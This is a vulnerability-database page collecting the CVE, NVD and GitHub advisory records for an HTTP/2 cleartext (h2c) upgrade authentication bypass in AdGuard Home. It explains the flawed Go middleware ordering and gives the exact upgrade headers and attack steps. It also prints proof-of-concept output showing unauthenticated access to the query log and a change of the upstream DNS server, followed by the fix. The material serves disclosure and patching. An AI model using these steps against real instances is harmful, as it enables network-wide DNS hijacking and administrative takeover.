CVE-2026-32136 (GCVE-0-2026-32136)

Vulnerability from cvelistv5 – Published: 2026-03-11 21:42 – Updated: 2026-03-12 16:17

Title

AdGuard Home: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass

Summary

AdGuard Home is a network-wide software for blocking ads and tracking. Prior to 0.107.73, an unauthenticated remote attacker can bypass all authentication in AdGuardHome by sending an HTTP/1.1 request that requests an upgrade to HTTP/2 cleartext (h2c). Once the upgrade is accepted, the resulting HTTP/2 connection is handled by the inner mux, which has no authentication middleware attached. All subsequent HTTP/2 requests on that connection are processed as fully authenticated, regardless of whether any credentials were provided. This vulnerability is fixed in 0.107.73.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-12 15:10 UTC

CWE

CWE-287 - Improper Authentication

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/AdguardTeam/AdGuardHome/securi…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
AdguardTeam	AdGuardHome	Affected: < 0.107.73	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-32136

Vulnerability from fkie_nvd - Published: 2026-03-11 22:16 - Updated: 2026-06-17 10:35

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/AdguardTeam/AdGuardHome/security/advisories/GHSA-5fg6-wrq4-w5gh	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	adguard	adguardhome	*

JSON

To clipboard

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GHSA-5FG6-WRQ4-W5GH

Vulnerability from github – Published: 2026-03-12 14:47 – Updated: 2026-03-12 14:47

Summary

AdGuard Home: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass

Details

VULNERABILITY: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass

Severity: CRITICAL CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) CWE: CWE-287 (Improper Authentication) Component: internal/home/web.go Affected: AdGuardHome (tested on v0.107.72)

Summary

An unauthenticated remote attacker can bypass all authentication in AdGuardHome by sending an HTTP/1.1 request that requests an upgrade to HTTP/2 cleartext (h2c). Once the upgrade is accepted, the resulting HTTP/2 connection is handled by the inner mux, which has no authentication middleware attached. All subsequent HTTP/2 requests on that connection are processed as fully authenticated, regardless of whether any credentials were provided.

Root Cause

In internal/home/web.go (approximately lines 268-283), the HTTP server is constructed as follows: hdlr := h2c.NewHandler( withMiddlewares(web.conf.mux, limitRequestBody), // no auth &http2.Server{}, ) web.httpServer = &http.Server{ Handler: web.auth.middleware().Wrap(hdlr), // auth here }

The authentication middleware wraps the h2c handler at the outer layer. When an h2c upgrade request arrives, the h2c library hijacks the TCP connection and calls http2.ServeConn with Handler set to the inner mux, which was stored at h2c.NewHandler creation time. The authentication middleware is never consulted for any request sent over the resulting HTTP/2 connection. The upgrade request itself passes through because it targets a public path (such as /control/login), which is whitelisted by isPublicResource() in internal/home/authhttp.go. After the upgrade, the attacker can reach any administrative endpoint.

Proof of Concept

The PoC script (https://gist.github.com/mandreko/f742d244dfa452e8d00cc5736cf8d629) demonstrates the bypass using a raw TCP connection with HTTP/2 framing. No credentials are provided at any point.

Steps: 1. Open TCP connection to AdGuardHome (default port 3000). 2. Send HTTP/1.1 GET /control/login with headers: Upgrade: h2c Connection: Upgrade, HTTP2-Settings HTTP2-Settings: AAMAAABkAAQAAP__ 3. Server responds: 101 Switching Protocols. 4. Complete HTTP/2 handshake (client preface + SETTINGS exchange). 5. Send HTTP/2 HEADERS frame requesting GET /control/status on stream 3. 6. Server responds: HTTP 200 with full JSON status payload.

Sample output (no username or password supplied): python3 poc_h2c_auth_bypass.py 192.168.1.15 80 --hijack-dns 8.8.8.8 ==================================================================== AdGuardHome -- h2c Authentication Bypass PoC CWE-287: Full API access without credentials ==================================================================== Target : http://192.168.1.15:80 Upgrade : /control/login (whitelisted public path)

[*] Connecting and performing h2c upgrade ... [+] Bypass established -- authentication is not enforced

[*] GET /control/status [+] Version : v0.107.72 [+] DNS addresses: ['127.0.0.1', '::1', '192.168.1.15', 'fd64:b28c:45d2:4b5e:d35c:7660:e1b:92', 'fe80::ba65:3afa:617f:f077%eth0'] [+] HTTP port : 80 [+] Protection : ON

[*] GET /control/querylog (DNS query history) [+] 10 recent entries: 2026-03-09T20:42:15 docker.home.andreko.net 192.168.1.232 2026-03-09T20:42:00 docker.home.andreko.net 192.168.1.232 2026-03-09T20:41:45 docker.home.andreko.net 192.168.1.232 2026-03-09T20:41:30 docker.home.andreko.net 192.168.1.232 2026-03-09T20:41:12 docker.home.andreko.net 192.168.1.232

[*] GET /control/dhcp/status (network device inventory) [+] Dynamic leases : 0 [+] Static leases : 0

[*] POST /control/dns_config (DNS -> 8.8.8.8) [+] Upstream DNS changed to 8.8.8.8 [+] All DNS queries now route through attacker-controlled server

The bypass gives full administrative API access, including: - Reading and modifying DNS configuration - Adding malicious filter lists - Disabling protection - Changing the admin password - Hijacking DNS resolution for all clients on the network

Remediation

Move the authentication middleware inside the h2c handler so it applies to all connections regardless of protocol: authedMux := web.auth.middleware().Wrap( withMiddlewares(web.conf.mux, limitRequestBody), ) hdlr := h2c.NewHandler(authedMux, &http2.Server{}) web.httpServer = &http.Server{ Handler: hdlr, }

Alternatively, if h2c support is not required, removing h2c.NewHandler entirely would eliminate the attack surface. HTTP/2 over TLS (h2) is not affected by this vulnerability.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/AdguardTeam/AdGuardHome"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.107.73"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T14:47:48Z",
    "nvd_published_at": "2026-03-11T22:16:33Z",
    "severity": "CRITICAL"
  },
  "details": "VULNERABILITY: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass\n========================================================================\nSeverity: \u00a0CRITICAL\nCVSS 3.1: \u00a09.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\nCWE: \u00a0 \u00a0 \u00a0 CWE-287 (Improper Authentication)\nComponent: internal/home/web.go\nAffected: \u00a0AdGuardHome (tested on v0.107.72)\n\n------------------------------------------------------------------------\nSummary\n------------------------------------------------------------------------\n\nAn unauthenticated remote attacker can bypass all authentication in AdGuardHome by sending an HTTP/1.1 request that requests an upgrade to HTTP/2 cleartext (h2c). Once the upgrade is accepted, the resulting HTTP/2 connection is handled by the inner mux, which has no authentication middleware attached. All subsequent HTTP/2 requests on that connection are processed as fully authenticated, regardless of whether any credentials were provided.\n\n------------------------------------------------------------------------\nRoot Cause\n------------------------------------------------------------------------\n\nIn internal/home/web.go (approximately lines 268-283), the HTTP server is constructed as follows:\n\u00a0 \u00a0 hdlr := h2c.NewHandler(\n\u00a0 \u00a0 \u00a0 \u00a0 withMiddlewares(web.conf.mux, limitRequestBody), \u00a0// no auth\n\u00a0 \u00a0 \u00a0 \u00a0 \u0026http2.Server{},\n\u00a0 \u00a0 )\n\u00a0 \u00a0 web.httpServer = \u0026http.Server{\n\u00a0 \u00a0 \u00a0 \u00a0 Handler: web.auth.middleware().Wrap(hdlr), \u00a0 \u00a0 \u00a0 \u00a0// auth here\n\u00a0 \u00a0 }\n\nThe authentication middleware wraps the h2c handler at the outer layer. When an h2c upgrade request arrives, the h2c library hijacks the TCP connection and calls http2.ServeConn with Handler set to the inner mux, which was stored at h2c.NewHandler creation time. The authentication middleware is never consulted for any request sent over the resulting HTTP/2 connection. The upgrade request itself passes through because it targets a public path (such as /control/login), which is whitelisted by isPublicResource() in internal/home/authhttp.go. After the upgrade, the attacker can reach any administrative endpoint.\n\n------------------------------------------------------------------------\nProof of Concept\n------------------------------------------------------------------------\n\nThe PoC script (https://gist.github.com/mandreko/f742d244dfa452e8d00cc5736cf8d629) demonstrates the bypass using a raw TCP connection with HTTP/2 framing. No credentials are provided at any point.\n\nSteps:\n\u00a0 1. Open TCP connection to AdGuardHome (default port 3000).\n\u00a0 2. Send HTTP/1.1 GET /control/login with headers:\n\u00a0 \u00a0 \u00a0 \u00a0Upgrade: h2c\n\u00a0 \u00a0 \u00a0 \u00a0Connection: Upgrade, HTTP2-Settings\n\u00a0 \u00a0 \u00a0 \u00a0HTTP2-Settings: AAMAAABkAAQAAP__\n\u00a0 3. Server responds: 101 Switching Protocols.\n\u00a0 4. Complete HTTP/2 handshake (client preface + SETTINGS exchange).\n\u00a0 5. Send HTTP/2 HEADERS frame requesting GET /control/status on stream 3.\n\u00a0 6. Server responds: HTTP 200 with full JSON status payload.\n\nSample output (no username or password supplied):\n\u00a0 \u00a0 python3 poc_h2c_auth_bypass.py 192.168.1.15 80 --hijack-dns 8.8.8.8\n\u00a0 \u00a0 ====================================================================\n\u00a0 \u00a0 AdGuardHome -- h2c Authentication Bypass PoC\n\u00a0 \u00a0 CWE-287: Full API access without credentials\n\u00a0 \u00a0 ====================================================================\n\u00a0 \u00a0 Target \u00a0: [http://192.168.1.15:80](http://192.168.1.15/)\n\u00a0 \u00a0 Upgrade : /control/login \u00a0(whitelisted public path)\n\n\u00a0 \u00a0 [*] Connecting and performing h2c upgrade ...\n\u00a0 \u00a0 [+] Bypass established -- authentication is not enforced\n\n\u00a0 \u00a0 [*] GET /control/status\n\u00a0 \u00a0 [+] Version \u00a0 \u00a0 \u00a0: v0.107.72\n\u00a0 \u00a0 [+] DNS addresses: [\u0027127.0.0.1\u0027, \u0027::1\u0027, \u0027192.168.1.15\u0027, \u0027fd64:b28c:45d2:4b5e:d35c:7660:e1b:92\u0027, \u0027fe80::ba65:3afa:617f:f077%eth0\u0027]\n\u00a0 \u00a0 [+] HTTP port \u00a0 \u00a0: 80\n\u00a0 \u00a0 [+] Protection \u00a0 : ON\n\n\u00a0 \u00a0 [*] GET /control/querylog \u00a0(DNS query history)\n\u00a0 \u00a0 [+] 10 recent entries:\n\u00a0 \u00a0 \u00a0 \u00a0 2026-03-09T20:42:15 \u00a0[docker.home.andreko.net](http://docker.home.andreko.net/) \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 192.168.1.232\n\u00a0 \u00a0 \u00a0 \u00a0 2026-03-09T20:42:00 \u00a0[docker.home.andreko.net](http://docker.home.andreko.net/) \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 192.168.1.232\n\u00a0 \u00a0 \u00a0 \u00a0 2026-03-09T20:41:45 \u00a0[docker.home.andreko.net](http://docker.home.andreko.net/) \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 192.168.1.232\n\u00a0 \u00a0 \u00a0 \u00a0 2026-03-09T20:41:30 \u00a0[docker.home.andreko.net](http://docker.home.andreko.net/) \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 192.168.1.232\n\u00a0 \u00a0 \u00a0 \u00a0 2026-03-09T20:41:12 \u00a0[docker.home.andreko.net](http://docker.home.andreko.net/) \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 192.168.1.232\n\n\u00a0 \u00a0 [*] GET /control/dhcp/status \u00a0(network device inventory)\n\u00a0 \u00a0 [+] Dynamic leases : 0\n\u00a0 \u00a0 [+] Static leases \u00a0: 0\n\n\u00a0 \u00a0 [*] POST /control/dns_config \u00a0(DNS -\u003e 8.8.8.8)\n\u00a0 \u00a0 [+] Upstream DNS changed to 8.8.8.8\n\u00a0 \u00a0 [+] All DNS queries now route through attacker-controlled server\n\nThe bypass gives full administrative API access, including:\n\u00a0 - Reading and modifying DNS configuration\n\u00a0 - Adding malicious filter lists\n\u00a0 - Disabling protection\n\u00a0 - Changing the admin password\n\u00a0 - Hijacking DNS resolution for all clients on the network\n\n------------------------------------------------------------------------\nRemediation\n------------------------------------------------------------------------\n\nMove the authentication middleware inside the h2c handler so it applies to all connections regardless of protocol:\n\u00a0 \u00a0 authedMux := web.auth.middleware().Wrap(\n\u00a0 \u00a0 \u00a0 \u00a0 withMiddlewares(web.conf.mux, limitRequestBody),\n\u00a0 \u00a0 )\n\u00a0 \u00a0 hdlr := h2c.NewHandler(authedMux, \u0026http2.Server{})\n\u00a0 \u00a0 web.httpServer = \u0026http.Server{\n\u00a0 \u00a0 \u00a0 \u00a0 Handler: hdlr,\n\u00a0 \u00a0 }\n\nAlternatively, if h2c support is not required, removing h2c.NewHandler entirely would eliminate the attack surface. HTTP/2 over TLS (h2) is not affected by this vulnerability.",
  "id": "GHSA-5fg6-wrq4-w5gh",
  "modified": "2026-03-12T14:47:48Z",
  "published": "2026-03-12T14:47:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AdguardTeam/AdGuardHome/security/advisories/GHSA-5fg6-wrq4-w5gh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32136"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AdguardTeam/AdGuardHome"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AdGuard Home: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
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Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

CVE-2026-32136 (GCVE-0-2026-32136)

FKIE_CVE-2026-32136

GHSA-5FG6-WRQ4-W5GH

VULNERABILITY: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass

Summary

Root Cause

Proof of Concept

Remediation

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Sightings

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